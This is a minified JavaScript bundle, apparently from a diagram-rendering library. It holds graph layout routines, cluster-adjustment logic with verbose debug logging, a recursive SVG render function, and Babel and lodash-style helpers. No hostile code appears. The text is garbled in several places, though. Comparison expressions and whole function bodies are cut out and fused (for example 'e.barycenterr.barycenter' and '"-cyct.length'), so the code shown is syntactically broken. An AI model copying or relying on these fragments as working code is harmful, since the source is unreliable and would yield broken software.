i=t.pop();e.push(i),Ae(i.in.reverse(),r(i)),Ae(i.out,n(i))}return rt(Zr(e,function(a){return!a.merged}),function(a){return op(a,["vs","i","barycenter","weight"])})}function bFe(t,e){var r=0,n=0;t.weight&&(r+=t.barycenter*t.weight,n+=t.weight),e.weight&&(r+=e.barycenter*e.weight,n+=e.weight),t.vs=e.vs.concat(t.vs),t.barycenter=r/n,t.weight=n,t.i=Math.min(e.i,t.i),e.merged=!0}var toe=N(()=>{"use strict";Yt();o(eoe,"resolveConflicts");o(xFe,"doResolveConflicts");o(bFe,"mergeEntries")});function noe(t,e){var r=lse(t,function(f){return Object.prototype.hasOwnProperty.call(f,"barycenter")}),n=r.lhs,i=Dc(r.rhs,function(f){return-f.i}),a=[],s=0,l=0,u=0;n.sort(TFe(!!e)),u=roe(a,i,u),Ae(n,function(f){u+=f.vs.length,a.push(f.vs),s+=f.barycenter*f.weight,l+=f.weight,u=roe(a,i,u)});var h={vs:Qr(a)};return l&&(h.barycenter=s/l,h.weight=l),h}function roe(t,e,r){for(var n;e.length&&(n=ma(e)).i<=r;)e.pop(),t.push(n.vs),r++;return r}function TFe(t){return function(e,r){return e.barycenterr.barycenter?1:t?r.i-e.i:e.i-r.i}}var ioe=N(()=>{"use strict";Yt();Rc();o(noe,"sort");o(roe,"consumeUnsortable");o(TFe,"compareWithBias")});function lN(t,e,r,n){var i=t.children(e),a=t.node(e),s=a?a.borderLeft:void 0,l=a?a.borderRight:void 0,u={};s&&(i=Zr(i,function(g){return g!==s&&g!==l}));var h=Zse(t,i);Ae(h,function(g){if(t.children(g.v).length){var y=lN(t,g.v,r,n);u[g.v]=y,Object.prototype.hasOwnProperty.call(y,"barycenter")&&kFe(g,y)}});var f=eoe(h,r);wFe(f,u);var d=noe(f,n);if(s&&(d.vs=Qr([s,d.vs,l]),t.predecessors(s).length)){var p=t.node(t.predecessors(s)[0]),m=t.node(t.predecessors(l)[0]);Object.prototype.hasOwnProperty.call(d,"barycenter")||(d.barycenter=0,d.weight=0),d.barycenter=(d.barycenter*d.weight+p.order+m.order)/(d.weight+2),d.weight+=2}return d}function wFe(t,e){Ae(t,function(r){r.vs=Qr(r.vs.map(function(n){return e[n]?e[n].vs:n}))})}function kFe(t,e){xr(t.barycenter)?(t.barycenter=e.barycenter,t.weight=e.weight):(t.barycenter=(t.barycenter*t.weight+e.barycenter*e.weight)/(t.weight+e.weight),t.weight+=e.weight)}var aoe=N(()=>{"use strict";Yt();Jse();toe();ioe();o(lN,"sortSubgraph");o(wFe,"expandSubgraphs");o(kFe,"mergeBarycenters")});function loe(t){var e=qR(t),r=soe(t,Ho(1,e+1),"inEdges"),n=soe(t,Ho(e-1,-1,-1),"outEdges"),i=Kse(t);ooe(t,i);for(var a=Number.POSITIVE_INFINITY,s,l=0,u=0;u<4;++l,++u){EFe(l%2?r:n,l%4>=2),i=uf(t);var h=Xse(t,i);h{"use strict";Yt();qo();Rc();qse();Yse();jse();Qse();aoe();o(loe,"order");o(soe,"buildLayerGraphs");o(EFe,"sweepLayerGraphs");o(ooe,"assignOrder")});function uoe(t){var e=CFe(t);Ae(t.graph().dummyChains,function(r){for(var n=t.node(r),i=n.edgeObj,a=SFe(t,e,i.v,i.w),s=a.path,l=a.lca,u=0,h=s[u],f=!0;r!==i.w;){if(n=t.node(r),f){for(;(h=s[u])!==l&&t.node(h).maxRanks||l>e[u].lim));for(h=u,u=n;(u=t.parent(u))!==h;)a.push(u);return{path:i.concat(a.reverse()),lca:h}}function CFe(t){var e={},r=0;function n(i){var a=r;Ae(t.children(i),n),e[i]={low:a,lim:r++}}return o(n,"dfs"),Ae(t.children(),n),e}var hoe=N(()=>{"use strict";Yt();o(uoe,"parentDummyChains");o(SFe,"findPath");o(CFe,"postorder")});function AFe(t,e){var r={};function n(i,a){var s=0,l=0,u=i.length,h=ma(a);return Ae(a,function(f,d){var p=DFe(t,f),m=p?t.node(p).order:u;(p||f===h)&&(Ae(a.slice(l,d+1),function(g){Ae(t.predecessors(g),function(y){var v=t.node(y),x=v.order;(xh)&&foe(r,p,f)})})}o(n,"scan");function i(a,s){var l=-1,u,h=0;return Ae(s,function(f,d){if(t.node(f).dummy==="border"){var p=t.predecessors(f);p.length&&(u=t.node(p[0]).order,n(s,h,d,l,u),h=d,l=u)}n(s,h,s.length,u,a.length)}),s}return o(i,"visitLayer"),Jr(e,i),r}function DFe(t,e){if(t.node(e).dummy)return os(t.predecessors(e),function(r){return t.node(r).dummy})}function foe(t,e,r){if(e>r){var n=e;e=r,r=n}var i=t[e];i||(t[e]=i={}),i[r]=!0}function LFe(t,e,r){if(e>r){var n=e;e=r,r=n}return!!t[e]&&Object.prototype.hasOwnProperty.call(t[e],r)}function RFe(t,e,r,n){var i={},a={},s={};return Ae(e,function(l){Ae(l,function(u,h){i[u]=u,a[u]=u,s[u]=h})}),Ae(e,function(l){var u=-1;Ae(l,function(h){var f=n(h);if(f.length){f=Dc(f,function(y){return s[y]});for(var d=(f.length-1)/2,p=Math.floor(d),m=Math.ceil(d);p<=m;++p){var g=f[p];a[h]===h&&u{"use strict";Yt();qo();Rc();o(AFe,"findType1Conflicts");o(_Fe,"findType2Conflicts");o(DFe,"findOtherInnerSegmentNode");o(foe,"addConflict");o(LFe,"hasConflict");o(RFe,"verticalAlignment");o(NFe,"horizontalCompaction");o(MFe,"buildBlockGraph");o(IFe,"findSmallestWidthAlignment");o(OFe,"alignCoordinates");o(PFe,"balance");o(doe,"positionX");o(BFe,"sep");o(FFe,"width")});function moe(t){t=xk(t),$Fe(t),_R(doe(t),function(e,r){t.node(r).x=e})}function $Fe(t){var e=uf(t),r=t.graph().ranksep,n=0;Ae(e,function(i){var a=Gs(rt(i,function(s){return t.node(s).height}));Ae(i,function(s){t.node(s).y=n+a/2}),n+=a+r})}var goe=N(()=>{"use strict";Yt();Rc();poe();o(moe,"position");o($Fe,"positionY")});function H2(t,e){var r=e&&e.debugTiming?cse:use;r("layout",()=>{var n=r(" buildLayoutGraph",()=>KFe(t));r(" runLayout",()=>zFe(n,r)),r(" updateInputGraph",()=>GFe(t,n))})}function zFe(t,e){e(" makeSpaceForEdgeLabels",()=>QFe(t)),e(" removeSelfEdges",()=>s$e(t)),e(" acyclic",()=>rse(t)),e(" nestingGraph.run",()=>zse(t)),e(" rank",()=>sN(xk(t))),e(" injectEdgeLabelProxies",()=>ZFe(t)),e(" removeEmptyRanks",()=>ose(t)),e(" nestingGraph.cleanup",()=>Vse(t)),e(" normalizeRanks",()=>sse(t)),e(" assignRankMinMax",()=>JFe(t)),e(" removeEdgeLabelProxies",()=>e$e(t)),e(" normalize.run",()=>xse(t)),e(" parentDummyChains",()=>uoe(t)),e(" addBorderSegments",()=>fse(t)),e(" order",()=>loe(t)),e(" insertSelfEdges",()=>o$e(t)),e(" adjustCoordinateSystem",()=>mse(t)),e(" position",()=>moe(t)),e(" positionSelfEdges",()=>l$e(t)),e(" removeBorderNodes",()=>a$e(t)),e(" normalize.undo",()=>bse(t)),e(" fixupEdgeLabelCoords",()=>n$e(t)),e(" undoCoordinateSystem",()=>gse(t)),e(" translateGraph",()=>t$e(t)),e(" assignNodeIntersects",()=>r$e(t)),e(" reversePoints",()=>i$e(t)),e(" acyclic.undo",()=>nse(t))}function GFe(t,e){Ae(t.nodes(),function(r){var n=t.node(r),i=e.node(r);n&&(n.x=i.x,n.y=i.y,e.children(r).length&&(n.width=i.width,n.height=i.height))}),Ae(t.edges(),function(r){var n=t.edge(r),i=e.edge(r);n.points=i.points,Object.prototype.hasOwnProperty.call(i,"x")&&(n.x=i.x,n.y=i.y)}),t.graph().width=e.graph().width,t.graph().height=e.graph().height}function KFe(t){var e=new cn({multigraph:!0,compound:!0}),r=uN(t.graph());return e.setGraph(Wh({},UFe,cN(r,VFe),op(r,HFe))),Ae(t.nodes(),function(n){var i=uN(t.node(n));e.setNode(n,of(cN(i,qFe),WFe)),e.setParent(n,t.parent(n))}),Ae(t.edges(),function(n){var i=uN(t.edge(n));e.setEdge(n,Wh({},XFe,cN(i,YFe),op(i,jFe)))}),e}function QFe(t){var e=t.graph();e.ranksep/=2,Ae(t.edges(),function(r){var n=t.edge(r);n.minlen*=2,n.labelpos.toLowerCase()!=="c"&&(e.rankdir==="TB"||e.rankdir==="BT"?n.width+=n.labeloffset:n.height+=n.labeloffset)})}function ZFe(t){Ae(t.edges(),function(e){var r=t.edge(e);if(r.width&&r.height){var n=t.node(e.v),i=t.node(e.w),a={rank:(i.rank-n.rank)/2+n.rank,e};Lc(t,"edge-proxy",a,"_ep")}})}function JFe(t){var e=0;Ae(t.nodes(),function(r){var n=t.node(r);n.borderTop&&(n.minRank=t.node(n.borderTop).rank,n.maxRank=t.node(n.borderBottom).rank,e=Gs(e,n.maxRank))}),t.graph().maxRank=e}function e$e(t){Ae(t.nodes(),function(e){var r=t.node(e);r.dummy==="edge-proxy"&&(t.edge(r.e).labelRank=r.rank,t.removeNode(e))})}function t$e(t){var e=Number.POSITIVE_INFINITY,r=0,n=Number.POSITIVE_INFINITY,i=0,a=t.graph(),s=a.marginx||0,l=a.marginy||0;function u(h){var f=h.x,d=h.y,p=h.width,m=h.height;e=Math.min(e,f-p/2),r=Math.max(r,f+p/2),n=Math.min(n,d-m/2),i=Math.max(i,d+m/2)}o(u,"getExtremes"),Ae(t.nodes(),function(h){u(t.node(h))}),Ae(t.edges(),function(h){var f=t.edge(h);Object.prototype.hasOwnProperty.call(f,"x")&&u(f)}),e-=s,n-=l,Ae(t.nodes(),function(h){var f=t.node(h);f.x-=e,f.y-=n}),Ae(t.edges(),function(h){var f=t.edge(h);Ae(f.points,function(d){d.x-=e,d.y-=n}),Object.prototype.hasOwnProperty.call(f,"x")&&(f.x-=e),Object.prototype.hasOwnProperty.call(f,"y")&&(f.y-=n)}),a.width=r-e+s,a.height=i-n+l}function r$e(t){Ae(t.edges(),function(e){var r=t.edge(e),n=t.node(e.v),i=t.node(e.w),a,s;r.points?(a=r.points[0],s=r.points[r.points.length-1]):(r.points=[],a=i,s=n),r.points.unshift(UR(n,a)),r.points.push(UR(i,s))})}function n$e(t){Ae(t.edges(),function(e){var r=t.edge(e);if(Object.prototype.hasOwnProperty.call(r,"x"))switch((r.labelpos==="l"||r.labelpos==="r")&&(r.width-=r.labeloffset),r.labelpos){case"l":r.x-=r.width/2+r.labeloffset;break;case"r":r.x+=r.width/2+r.labeloffset;break}})}function i$e(t){Ae(t.edges(),function(e){var r=t.edge(e);r.reversed&&r.points.reverse()})}function a$e(t){Ae(t.nodes(),function(e){if(t.children(e).length){var r=t.node(e),n=t.node(r.borderTop),i=t.node(r.borderBottom),a=t.node(ma(r.borderLeft)),s=t.node(ma(r.borderRight));r.width=Math.abs(s.x-a.x),r.height=Math.abs(i.y-n.y),r.x=a.x+r.width/2,r.y=n.y+r.height/2}}),Ae(t.nodes(),function(e){t.node(e).dummy==="border"&&t.removeNode(e)})}function s$e(t){Ae(t.edges(),function(e){if(e.v===e.w){var r=t.node(e.v);r.selfEdges||(r.selfEdges=[]),r.selfEdges.push({e,label:t.edge(e)}),t.removeEdge(e)}})}function o$e(t){var e=uf(t);Ae(e,function(r){var n=0;Ae(r,function(i,a){var s=t.node(i);s.order=a+n,Ae(s.selfEdges,function(l){Lc(t,"selfedge",{width:l.label.width,height:l.label.height,rank:s.rank,order:a+ ++n,e:l.e,label:l.label},"_se")}),delete s.selfEdges})})}function l$e(t){Ae(t.nodes(),function(e){var r=t.node(e);if(r.dummy==="selfedge"){var n=t.node(r.e.v),i=n.x+n.width/2,a=n.y,s=r.x-i,l=n.height/2;t.setEdge(r.e,r.label),t.removeNode(e),r.label.points=[{x:i+2*s/3,y:a-l},{x:i+5*s/6,y:a-l},{x:i+s,y:a},{x:i+5*s/6,y:a+l},{x:i+2*s/3,y:a+l}],r.label.x=r.x,r.label.y=r.y}})}function cN(t,e){return ap(op(t,e),Number)}function uN(t){var e={};return Ae(t,function(r,n){e[n.toLowerCase()]=r}),e}var VFe,UFe,HFe,qFe,WFe,YFe,XFe,jFe,yoe=N(()=>{"use strict";Yt();qo();dse();vse();VR();XR();oN();Use();coe();hoe();goe();Rc();o(H2,"layout");o(zFe,"runLayout");o(GFe,"updateInputGraph");VFe=["nodesep","edgesep","ranksep","marginx","marginy"],UFe={ranksep:50,edgesep:20,nodesep:50,rankdir:"tb"},HFe=["acyclicer","ranker","rankdir","align"],qFe=["width","height"],WFe={width:0,height:0},YFe=["minlen","weight","width","height","labeloffset"],XFe={minlen:1,weight:1,width:0,height:0,labeloffset:10,labelpos:"r"},jFe=["labelpos"];o(KFe,"buildLayoutGraph");o(QFe,"makeSpaceForEdgeLabels");o(ZFe,"injectEdgeLabelProxies");o(JFe,"assignRankMinMax");o(e$e,"removeEdgeLabelProxies");o(t$e,"translateGraph");o(r$e,"assignNodeIntersects");o(n$e,"fixupEdgeLabelCoords");o(i$e,"reversePointsForReversedEdges");o(a$e,"removeBorderNodes");o(s$e,"removeSelfEdges");o(o$e,"insertSelfEdges");o(l$e,"positionSelfEdges");o(cN,"selectNumberAttrs");o(uN,"canonicalize")});var hN=N(()=>{"use strict";VR();yoe();XR();oN()});function Wo(t){var e={options:{directed:t.isDirected(),multigraph:t.isMultigraph(),compound:t.isCompound()},nodes:c$e(t),edges:u$e(t)};return xr(t.graph())||(e.value=ln(t.graph())),e}function c$e(t){return rt(t.nodes(),function(e){var r=t.node(e),n=t.parent(e),i={v:e};return xr(r)||(i.value=r),xr(n)||(i.parent=n),i})}function u$e(t){return rt(t.edges(),function(e){var r=t.edge(e),n={v:e.v,w:e.w};return xr(e.name)||(n.name=e.name),xr(r)||(n.value=r),n})}var fN=N(()=>{"use strict";Yt();gk();o(Wo,"write");o(c$e,"writeNodes");o(u$e,"writeEdges")});var Er,hp,boe,Toe,kk,h$e,woe,koe,f$e,Wm,xoe,Eoe,Soe,Coe,Aoe,_oe=N(()=>{"use strict";pt();qo();fN();Er=new Map,hp=new Map,boe=new Map,Toe=o(()=>{hp.clear(),boe.clear(),Er.clear()},"clear"),kk=o((t,e)=>{let r=hp.get(e)||[];return X.trace("In isDescendant",e," ",t," = ",r.includes(t)),r.includes(t)},"isDescendant"),h$e=o((t,e)=>{let r=hp.get(e)||[];return X.info("Descendants of ",e," is ",r),X.info("Edge is ",t),t.v===e||t.w===e?!1:r?r.includes(t.v)||kk(t.v,e)||kk(t.w,e)||r.includes(t.w):(X.debug("Tilt, ",e,",not in descendants"),!1)},"edgeInCluster"),woe=o((t,e,r,n)=>{X.warn("Copying children of ",t,"root",n,"data",e.node(t),n);let i=e.children(t)||[];t!==n&&i.push(t),X.warn("Copying (nodes) clusterId",t,"nodes",i),i.forEach(a=>{if(e.children(a).length>0)woe(a,e,r,n);else{let s=e.node(a);X.info("cp ",a," to ",n," with parent ",t),r.setNode(a,s),n!==e.parent(a)&&(X.warn("Setting parent",a,e.parent(a)),r.setParent(a,e.parent(a))),t!==n&&a!==t?(X.debug("Setting parent",a,t),r.setParent(a,t)):(X.info("In copy ",t,"root",n,"data",e.node(t),n),X.debug("Not Setting parent for node=",a,"cluster!==rootId",t!==n,"node!==clusterId",a!==t));let l=e.edges(a);X.debug("Copying Edges",l),l.forEach(u=>{X.info("Edge",u);let h=e.edge(u.v,u.w,u.name);X.info("Edge data",h,n);try{h$e(u,n)?(X.info("Copying as ",u.v,u.w,h,u.name),r.setEdge(u.v,u.w,h,u.name),X.info("newGraph edges ",r.edges(),r.edge(r.edges()[0]))):X.info("Skipping copy of edge ",u.v,"-->",u.w," rootId: ",n," clusterId:",t)}catch(f){X.error(f)}})}X.debug("Removing node",a),e.removeNode(a)})},"copy"),koe=o((t,e)=>{let r=e.children(t),n=[...r];for(let i of r)boe.set(i,t),n=[...n,...koe(i,e)];return n},"extractDescendants"),f$e=o((t,e,r)=>{let n=t.edges().filter(u=>u.v===e||u.w===e),i=t.edges().filter(u=>u.v===r||u.w===r),a=n.map(u=>({v:u.v===e?r:u.v,w:u.w===e?e:u.w})),s=i.map(u=>({v:u.v,w:u.w}));return a.filter(u=>s.some(h=>u.v===h.v&&u.w===h.w))},"findCommonEdges"),Wm=o((t,e,r)=>{let n=e.children(t);if(X.trace("Searching children of id ",t,n),n.length<1)return t;let i;for(let a of n){let s=Wm(a,e,r),l=f$e(e,r,s);if(s)if(l.length>0)i=s;else return s}return i},"findNonClusterChild"),xoe=o(t=>!Er.has(t)||!Er.get(t).externalConnections?t:Er.has(t)?Er.get(t).id:t,"getAnchorId"),Eoe=o((t,e)=>{if(!t||e>10){X.debug("Opting out, no graph ");return}else X.debug("Opting in, graph ");t.nodes().forEach(function(r){t.children(r).length>0&&(X.warn("Cluster identified",r," Replacement id in edges: ",Wm(r,t,r)),hp.set(r,koe(r,t)),Er.set(r,{id:Wm(r,t,r),clusterData:t.node(r)}))}),t.nodes().forEach(function(r){let n=t.children(r),i=t.edges();n.length>0?(X.debug("Cluster identified",r,hp),i.forEach(a=>{let s=kk(a.v,r),l=kk(a.w,r);s^l&&(X.warn("Edge: ",a," leaves cluster ",r),X.warn("Descendants of XXX ",r,": ",hp.get(r)),Er.get(r).externalConnections=!0)})):X.debug("Not a cluster ",r,hp)});for(let r of Er.keys()){let n=Er.get(r).id,i=t.parent(n);i!==r&&Er.has(i)&&!Er.get(i).externalConnections&&(Er.get(r).id=i)}t.edges().forEach(function(r){let n=t.edge(r);X.warn("Edge "+r.v+" -> "+r.w+": "+JSON.stringify(r)),X.warn("Edge "+r.v+" -> "+r.w+": "+JSON.stringify(t.edge(r)));let i=r.v,a=r.w;if(X.warn("Fix XXX",Er,"ids:",r.v,r.w,"Translating: ",Er.get(r.v)," --- ",Er.get(r.w)),Er.get(r.v)||Er.get(r.w)){if(X.warn("Fixing and trying - removing XXX",r.v,r.w,r.name),i=xoe(r.v),a=xoe(r.w),t.removeEdge(r.v,r.w,r.name),i!==r.v){let s=t.parent(i);Er.get(s).externalConnections=!0,n.fromCluster=r.v}if(a!==r.w){let s=t.parent(a);Er.get(s).externalConnections=!0,n.toCluster=r.w}X.warn("Fix Replacing with XXX",i,a,r.name),t.setEdge(i,a,n,r.name)}}),X.warn("Adjusted Graph",Wo(t)),Soe(t,0),X.trace(Er)},"adjustClustersAndEdges"),Soe=o((t,e)=>{if(X.warn("extractor - ",e,Wo(t),t.children("D")),e>10){X.error("Bailing out");return}let r=t.nodes(),n=!1;for(let i of r){let a=t.children(i);n=n||a.length>0}if(!n){X.debug("Done, no node has children",t.nodes());return}X.debug("Nodes = ",r,e);for(let i of r)if(X.debug("Extracting node",i,Er,Er.has(i)&&!Er.get(i).externalConnections,!t.parent(i),t.node(i),t.children("D")," Depth ",e),!Er.has(i))X.debug("Not a cluster",i,e);else if(!Er.get(i).externalConnections&&t.children(i)&&t.children(i).length>0){X.warn("Cluster without external connections, without a parent and with children",i,e);let s=t.graph().rankdir==="TB"?"LR":"TB";Er.get(i)?.clusterData?.dir&&(s=Er.get(i).clusterData.dir,X.warn("Fixing dir",Er.get(i).clusterData.dir,s));let l=new cn({multigraph:!0,compound:!0}).setGraph({rankdir:s,nodesep:50,ranksep:50,marginx:8,marginy:8}).setDefaultEdgeLabel(function(){return{}});X.warn("Old graph before copy",Wo(t)),woe(i,t,l,i),t.setNode(i,{clusterNode:!0,id:i,clusterData:Er.get(i).clusterData,label:Er.get(i).label,graph:l}),X.warn("New graph after copy node: (",i,")",Wo(l)),X.debug("Old graph after copy",Wo(t))}else X.warn("Cluster ** ",i," **not meeting the criteria !externalConnections:",!Er.get(i).externalConnections," no parent: ",!t.parent(i)," children ",t.children(i)&&t.children(i).length>0,t.children("D"),e),X.debug(Er);r=t.nodes(),X.warn("New list of nodes",r);for(let i of r){let a=t.node(i);X.warn(" Now next level",i,a),a?.clusterNode&&Soe(a.graph,e+1)}},"extractor"),Coe=o((t,e)=>{if(e.length===0)return[];let r=Object.assign([],e);return e.forEach(n=>{let i=t.children(n),a=Coe(t,i);r=[...r,...a]}),r},"sorter"),Aoe=o(t=>Coe(t,t.children()),"sortNodesByHierarchy")});var Loe={};dr(Loe,{render:()=>d$e});var Doe,d$e,Roe=N(()=>{"use strict";hN();fN();qo();K9();It();_oe();bw();cw();j9();pt();O2();Xt();Doe=o(async(t,e,r,n,i,a)=>{X.warn("Graph in recursive render:XAX",Wo(e),i);let s=e.graph().rankdir;X.trace("Dir in recursive render - dir:",s);let l=t.insert("g").attr("class","root");e.nodes()?X.info("Recursive render XXX",e.nodes()):X.info("No nodes found for",e),e.edges().length>0&&X.info("Recursive edges",e.edge(e.edges()[0]));let u=l.insert("g").attr("class","clusters"),h=l.insert("g").attr("class","edgePaths"),f=l.insert("g").attr("class","edgeLabels"),d=l.insert("g").attr("class","nodes");await Promise.all(e.nodes().map(async function(y){let v=e.node(y);if(i!==void 0){let x=JSON.parse(JSON.stringify(i.clusterData));X.trace(`Setting data for parent cluster XXX + Node.id = `,y,` + data=`,x.height,` +Parent cluster`,i.height),e.setNode(i.id,x),e.parent(y)||(X.trace("Setting parent",y,i.id),e.setParent(y,i.id,x))}if(X.info("(Insert) Node XXX"+y+": "+JSON.stringify(e.node(y))),v?.clusterNode){X.info("Cluster identified XBX",y,v.width,e.node(y));let{ranksep:x,nodesep:b}=e.graph();v.graph.setGraph({...v.graph.graph(),ranksep:x+25,nodesep:b});let T=await Doe(d,v.graph,r,n,e.node(y),a),S=T.elem;Qe(v,S),v.diff=T.diff||0,X.info("New compound node after recursive render XAX",y,"width",v.width,"height",v.height),Xte(S,v)}else e.children(y).length>0?(X.trace("Cluster - the non recursive path XBX",y,v.id,v,v.width,"Graph:",e),X.trace(Wm(v.id,e)),Er.set(v.id,{id:Wm(v.id,e),node:v})):(X.trace("Node - the non recursive path XAX",y,d,e.node(y),s),await Cm(d,e.node(y),{config:a,dir:s}))})),await o(async()=>{let y=e.edges().map(async function(v){let x=e.edge(v.v,v.w,v.name);X.info("Edge "+v.v+" -> "+v.w+": "+JSON.stringify(v)),X.info("Edge "+v.v+" -> "+v.w+": ",v," ",JSON.stringify(e.edge(v))),X.info("Fix",Er,"ids:",v.v,v.w,"Translating: ",Er.get(v.v),Er.get(v.w)),await mw(f,x)});await Promise.all(y)},"processEdges")(),X.info("Graph before layout:",JSON.stringify(Wo(e))),X.info("############################################# XXX"),X.info("### Layout ### XXX"),X.info("############################################# XXX"),H2(e),X.info("Graph after layout:",JSON.stringify(Wo(e)));let m=0,{subGraphTitleTotalMargin:g}=Pu(a);return await Promise.all(Aoe(e).map(async function(y){let v=e.node(y);if(X.info("Position XBX => "+y+": ("+v.x,","+v.y,") width: ",v.width," height: ",v.height),v?.clusterNode)v.y+=g,X.info("A tainted cluster node XBX1",y,v.id,v.width,v.height,v.x,v.y,e.parent(y)),Er.get(v.id).node=v,P2(v);else if(e.children(y).length>0){X.info("A pure cluster node XBX1",y,v.id,v.x,v.y,v.width,v.height,e.parent(y)),v.height+=g,e.node(v.parentId);let x=v?.padding/2||0,b=v?.labelBBox?.height||0,T=b-x||0;X.debug("OffsetY",T,"labelHeight",b,"halfPadding",x),await Sm(u,v),Er.get(v.id).node=v}else{let x=e.node(v.parentId);v.y+=g/2,X.info("A regular node XBX1 - using the padding",v.id,"parent",v.parentId,v.width,v.height,v.x,v.y,"offsetY",v.offsetY,"parent",x,x?.offsetY,v),P2(v)}})),e.edges().forEach(function(y){let v=e.edge(y);X.info("Edge "+y.v+" -> "+y.w+": "+JSON.stringify(v),v),v.points.forEach(S=>S.y+=g/2);let x=e.node(y.v);var b=e.node(y.w);let T=yw(h,v,Er,r,x,b,n);gw(v,T)}),e.nodes().forEach(function(y){let v=e.node(y);X.info(y,v.type,v.diff),v.isGroup&&(m=v.diff)}),X.warn("Returning from recursive render XAX",l,m),{elem:l,diff:m}},"recursiveRender"),d$e=o(async(t,e)=>{let r=new cn({multigraph:!0,compound:!0}).setGraph({rankdir:t.direction,nodesep:t.config?.nodeSpacing||t.config?.flowchart?.nodeSpacing||t.nodeSpacing,ranksep:t.config?.rankSpacing||t.config?.flowchart?.rankSpacing||t.rankSpacing,marginx:8,marginy:8}).setDefaultEdgeLabel(function(){return{}}),n=e.select("g");vw(n,t.markers,t.type,t.diagramId),jte(),Yte(),zte(),Toe(),t.nodes.forEach(a=>{r.setNode(a.id,{...a}),a.parentId&&r.setParent(a.id,a.parentId)}),X.debug("Edges:",t.edges),t.edges.forEach(a=>{if(a.start===a.end){let s=a.start,l=s+"---"+s+"---1",u=s+"---"+s+"---2",h=r.node(s);r.setNode(l,{domId:l,id:l,parentId:h.parentId,labelStyle:"",label:"",padding:0,shape:"labelRect",style:"",width:10,height:10}),r.setParent(l,h.parentId),r.setNode(u,{domId:u,id:u,parentId:h.parentId,labelStyle:"",padding:0,shape:"labelRect",label:"",style:"",width:10,height:10}),r.setParent(u,h.parentId);let f=structuredClone(a),d=structuredClone(a),p=structuredClone(a);f.label="",f.arrowTypeEnd="none",f.id=s+"-cyclic-special-1",d.arrowTypeStart="none",d.arrowTypeEnd="none",d.id=s+"-cyclic-special-mid",p.label="",h.isGroup&&(f.fromCluster=s,p.toCluster=s),p.id=s+"-cyclic-special-2",p.arrowTypeStart="none",r.setEdge(s,l,f,s+"-cyclic-special-0"),r.setEdge(l,u,d,s+"-cyclic-special-1"),r.setEdge(u,s,p,s+"-cyct.length)&&(e=t.length);for(var r=0,n=Array(e);r=t.length?{done:!0}:{done:!1,value:t[n++]}},"n"),e:o(function(u){throw u},"e"),f:i}}throw new TypeError(`Invalid attempt to iterate non-iterable instance. +In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}var a,s=!0,l=!1;return{s:o(function(){r=r.call(t)},"s"),n:o(function(){var u=r.next();return s=u.done,u},"n"),e:o(function(u){l=!0,a=u},"e"),f:o(function(){try{s||r.return==null||r.return()}finally{if(l)throw a}},"f")}}function sue(t,e,r){return(e=oue(e))in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}function y$e(t){if(typeof Symbol<"u"&&t[Symbol.iterator]!=null||t["@@iterator"]!=null)return Array.from(t)}function v$e(t,e){var r=t==null?null:typeof Symbol<"u"&&t[Symbol.iterator]||t["@@iterator"];if(r!=null){var n,i,a,s,l=[],u=!0,h=!1;try{if(a=(r=r.call(t)).next,e===0){if(Object(r)!==r)return;u=!1}else for(;!(u=(n=a.call(r)).done)&&(l.push(n.value),l.length!==e);u=!0);}catch(f){h=!0,i=f}finally{try{if(!u&&r.return!=null&&(s=r.return(),Object(s)!==s))return}finally{if(h)throw i}}return l}}function x$e(){throw new TypeError(`Invalid attempt to destructure non-iterable instance. +In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function b$e(){throw new TypeError(`Invalid attempt to spread non-iterable instance. +In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function _i(t,e){return p$e(t)||v$e(t,e)||cI(t,e)||x$e()}function Xk(t){return m$e(t)||y$e(t)||cI(t)||b$e()}function T$e(t,e){if(typeof t!="object"||!t)return t;var r=t[Symbol.toPrimitive];if(r!==void 0){var n=r.call(t,e);if(typeof n!="object")return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(t)}function oue(t){var e=T$e(t,"string");return typeof e=="symbol"?e:e+""}function $i(t){"@babel/helpers - typeof";return $i=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(e){return typeof e}:function(e){return e&&typeof Symbol=="function"&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},$i(t)}function cI(t,e){if(t){if(typeof t=="string")return UM(t,e);var r={}.toString.call(t).slice(8,-1);return r==="Object"&&t.constructor&&(r=t.constructor.name),r==="Map"||r==="Set"?Array.from(t):r==="Arguments"||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?UM(t,e):void 0}}function gx(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"default")?t.default:t}function yx(){if(Ioe)return dN;Ioe=1;function t(e){var r=typeof e;return e!=null&&(r=="object"||r=="function")}return o(t,"isObject"),dN=t,dN}function H$e(){if(Ooe)return pN;Ooe=1;var t=typeof Ek=="object"&&Ek&&Ek.Object===Object&&Ek;return pN=t,pN}function cE(){if(Poe)return mN;Poe=1;var t=H$e(),e=typeof self=="object"&&self&&self.Object===Object&&self,r=t||e||Function("return this")();return mN=r,mN}function q$e(){if(Boe)return gN;Boe=1;var t=cE(),e=o(function(){return t.Date.now()},"now");return gN=e,gN}function W$e(){if(Foe)return yN;Foe=1;var t=/\s/;function e(r){for(var n=r.length;n--&&t.test(r.charAt(n)););return n}return o(e,"trimmedEndIndex"),yN=e,yN}function Y$e(){if($oe)return vN;$oe=1;var t=W$e(),e=/^\s+/;function r(n){return n&&n.slice(0,t(n)+1).replace(e,"")}return o(r,"baseTrim"),vN=r,vN}function fI(){if(zoe)return xN;zoe=1;var t=cE(),e=t.Symbol;return xN=e,xN}function X$e(){if(Goe)return bN;Goe=1;var t=fI(),e=Object.prototype,r=e.hasOwnProperty,n=e.toString,i=t?t.toStringTag:void 0;function a(s){var l=r.call(s,i),u=s[i];try{s[i]=void 0;var h=!0}catch{}var f=n.call(s);return h&&(l?s[i]=u:delete s[i]),f}return o(a,"getRawTag"),bN=a,bN}function j$e(){if(Voe)return TN;Voe=1;var t=Object.prototype,e=t.toString;function r(n){return e.call(n)}return o(r,"objectToString"),TN=r,TN}function gue(){if(Uoe)return wN;Uoe=1;var t=fI(),e=X$e(),r=j$e(),n="[object Null]",i="[object Undefined]",a=t?t.toStringTag:void 0;function s(l){return l==null?l===void 0?i:n:a&&a in Object(l)?e(l):r(l)}return o(s,"baseGetTag"),wN=s,wN}function K$e(){if(Hoe)return kN;Hoe=1;function 